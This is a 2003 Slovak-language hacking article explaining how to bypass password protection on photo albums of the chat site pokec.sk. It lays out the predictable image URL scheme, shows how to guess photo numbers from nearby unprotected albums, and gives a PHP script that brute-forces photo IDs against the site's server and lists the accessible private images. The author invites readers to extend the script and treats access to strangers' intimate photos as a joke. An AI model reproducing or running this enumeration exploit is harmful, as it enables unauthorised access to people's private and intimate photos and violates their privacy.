Prezeranie zaheslovanych fotiek na pokec.sk

26.01.2003 17:14 | blackhole

Vacsina ludi dobre pozna chat s nazvom www.pokec.sk. Je to asi najvacsi sk chat. Svojim userom ponuka naozaj siroku skalu sluzieb. Okrem ineho aj moznost uchovavat si fotky to albumov. Niektori si tam davaju fotky svojich deti, svadby, ale casto tam najdete aj fota z roznych akcii alebo tie trocha intimnejsie. A o tom, ako polahky sa da dostat k tymto fotkam je tento clanok.

Na uvod by som rad povedal, ze nejde o ziaden mimoriadne objavny hack/crack. Zakladom toho celeho je, ze obrazky sa musia niekde na serveri ukladat. A ked ich pouzivame pri kodeni HTML, v tagoch sa musime nane odkazovat. V podstate sa neda nijak (aspon mi nenapada ako) osetrit pristup k adresarom s obrazkami, ked k nim zadate do prehliadaca cestu.

Zakladom je teda zistit suborovu strukturu, ako sa ukladaju obrazky. Nie je nic jednoduchsie, ako si pozriet par nezaheslovanych albumov a pozriet sa odkial je ten obrazok sosany.

Dostaneme priblizne taketo URL:
http://195.28.79.53/fotoalbumy/ ferdomravec/mojefotky/nf26064_229325.jpg

V tejto url som doplnil vseobecne nazvy:
http://195.28.79.53/fotoalbumy/ NICK_USERA/NAZOV_ALBUMU/nfCISLOALBUMU_CISLOFOTKY.jpg

Prva IP adresa je jasna (vzdy rovnaka :), aj adresar fotoalbumy. Potom nasleduje adresar daneho uzivatela, ktory obsahuje podadresare s nazvami albumov (jeden user moze mat viac albumov).

Meno samotneho obrazka sa sklada z cisla albumu a cisla fotky.
n - znamena nahlad obrazku. ked to odstranite, dostanete plnu velkost fotky.

f12345 - cislo albumu. toto cislo sa da jednoducho zistit z URL, ked sa doklikate az k zaheslovanemu albumu, tak posledne cislo v URL je cislo albumu. (premenna alb v URL

_123456 - cislo fotky. Pri zistovani tohto cisla je to trochu horsie. Aby sa programtori pokecu vyhli prave takemuto sposobu odhadovania hesiel, nejakym sposobom generuju cislo fotky. (mam taky dojem, ze niektore cisla su odvodene od kategorie, kde su fotky alebo nejak podobne. kazdopadne, nechcelo sa mi zistovat akym algoritmom generuju cisla fotiek, vyriesil som to inac. /vid. nizsie/

Ako prebieha teda samotne zistovanie danych fotiek ?
1. Vyhliadnem si usera s albumom, ktory sa mi pozdava, alebo bohvie preco sa mu chcem pozriet na fotky. Doklikam sa az k jeho zaheslovanemu albumu.
2. Tam si zistim vsetky potrebne udaje:
- menu albumu
- meno uzivatela
- cislo albumu
(su tam vsetky udaje pekne na stranke vypisane. ako inac :

3. Doplnim do vyssie popisovanej URL a skusam uhadnut cislo fotky.
3.a) samozrejme uhadnut 6 miestne cislo, ked uzivatel ma napr. 3 fotky je dost narocne na cas :). Preto si najdem najblizsi nezaheslovany album k tomu nasmu (podla cisla). Nebudem popisovat ako. Kazdy normalny clovek to dokaze. Ked najdem ten blizky nezaheslovany album, pozriem sa ake cisla maju tie nezaheslovane fotky. Teraz sme uz blizsie a mozeme na niekolko pokusov uhadnut fotku.(nasej zaheslovanej pridelime rovnake cislo a trochu ho menime). Ked najdeme 1 fotku, ostatne maju uz iba +1 alebo -1 cisla. Takze potom to je uz lahke. Stavalo sa mi, ze fotky mali aj medzeru napr. 5 ale to iba ojedinele.

3.a2) Urcite existuje nejaky algoritmus, ktorym cisla fotiek priraduju. Ci uz to je podla kategorie, alebo podla cisla albumu , alebo obidvoje. Mne sa nechcelo hladat tento suvis, ale urcite nebude tazke nato prist. Vymyslel som zatial lepsi a 100% fungujuci sposob ako tieto fotky objavit. (este sa nestalo,zeby sa nejake nepodarilo najst):

3.b) Kazdeho normalneho cloveka napadne, ze hadat takto fotky je dost tazkopadne. Ty mudrejsi si teda nato spravia programcek.

Tento program som robil v php (pretoze sa mi zdal na tento ucel velmi vhodny a nepotreboval som preca nejaky dobry program. chcel som len zistit, ci to funguje :). Vopred upozornujem, ze je to dost prasacky napisane a da sa este vela veci osetrit, urychlit a pridat mnozstvo features. Takze kto sa chce pohrat, moze poupravovat / zefektivnit a potom dat do komentarov. Vid. komentare v zdrojaku<?// **** NASTAVENIA **** ///* vsetky nazvy albumov aj userov treba zadavat bez diakritiky a spolu *///cislo albumu (bez f)$albnum = \"00000\";//meno albumu$albname = \"menoalbumu\";//menu vlastnika albumu$user = \"nickname\";/* Ciselny rozsah, odkial a pokial chcem skusat fotky. kvoli rychlejsiemu najdeniu, doporucujem zopakovat postup a zadat rozsah podobny, ako maju fotky v najblizsom nezaheslovanom albume. alebo ak sa niekomu podari zistit, ci rozsahy su dane kategoriou atd... */$od = 277000;$do = 278000;/* toto je kazdemu jasne, bude to opakovat, kym nevyskusa vsetky fotky v zadanom rozsahu */for ($i=$od;$i<=$do;++$i) {//IP adresa pokecu$ip = \"195.28.79.53\";//funkcia, na otvorenie spojenia s pokecom$fp = fsockopen(\"$ip\", 80, $errno, $errstr, 30);//ak nastala naka chyba, vypise nam juif (!$fp) { echo \"$errstr ($errno)
n\";} else { //dana url $url = \"fotoalbumy/$user/$albname/f\".\"$albnum\".\"_$i.jpg\"; //ziska http request zo zadanej URL fputs ($fp, \"GET /$url HTTP/1.0rnrn\"); $string = fgets ($fp,20);/* tu treba trosku poznat http protokol. ak sa nam v prvych 20 znakoch vyskytne HTTP/1.0 200 OK, dana URL je platna a je nieco na nej. Ak by sa vyskytla chyba 404 vieme, ze tam nic nieje. */ if (EREG(\"HTTP/1.0 200 OK\", $string)) {/* vypise nam URL, ktora funguje. tu by sa dalo porobit vela zmien. napriklad davat url do databazy alebo filu. automaticky stahovat obrazok atd.. ten kto ma chut s tym sa pohrat, tak to spravi velmi rychlo. */ echo \"
\"http://$ip/$url\">http://$ip/$url
\"; } else {/* ak stranka neexistuje, vypise nam cislo, kde ziadne fotky nie su. taktiez si to moze kazdy upravit ako chce. (napr. nic tam nedat :) */ echo \"no $i
\";} }//zatvori spojenie fclose ($fp); }?>
skript najdete [TU]

note: Pozornejsi sa urcite spytaju, preco nadviazujem zakazdym nove spojenie, ked by stacilo iba raz. Skript by sa tymto ovela urychlil, keby som vzdy brat iba http request. Nanestastie, ked som to takto spravil, tak spravne som mal len prvu iretaciu cyklu. Nasledujuce vracali vzdy uz ine stringy nie to, co je v http hlavickach. Neviem, preco to tak robilo, tak som to nechal takto. Hadam sa s tym niekto pohra, popripade vysvetli preco to robilo.

PRECO ?
Urcite si teraz poviete, naco to kto zverejnoval, teraz budu vsetci moct vidiet ich intimne fotky, budu mat neprijemnosti atd. Chcel som len poukazat na blbost niektorych internetovych luzroch (nie useroch), ktory si svoje NEBEZPECNE fotky daju na internet. Okrem toho, tento postup bol uz dost davno znamy (na stranke www.etno.host.sk bolo ukradnutych najmenej 200 albumov). Aj ja som dostal navod nato od jedneho kamosa. Spravil som len ten programcek a napisal tento clanok. Dalej, typicki useri nevidia za servermi ludi, co sa o ne staraju a maju k ich udajom pristup. Ktory si ich fotky (osobne udaje) mozu pozerat / zneuzit, nech by boli akokolvek chranene, pretoze oni tu ochranu maju na starosti. Taktiez poznam uz par ludi, co maju tuto databazu hesiel znacne rozsiahlu :). Preto si vsetci pekne krasne postahujte tie porniska co tam mate a dajte si tam fotky, za ktore sa nemusite hanbit a heslovat ich :-P.mis0 truban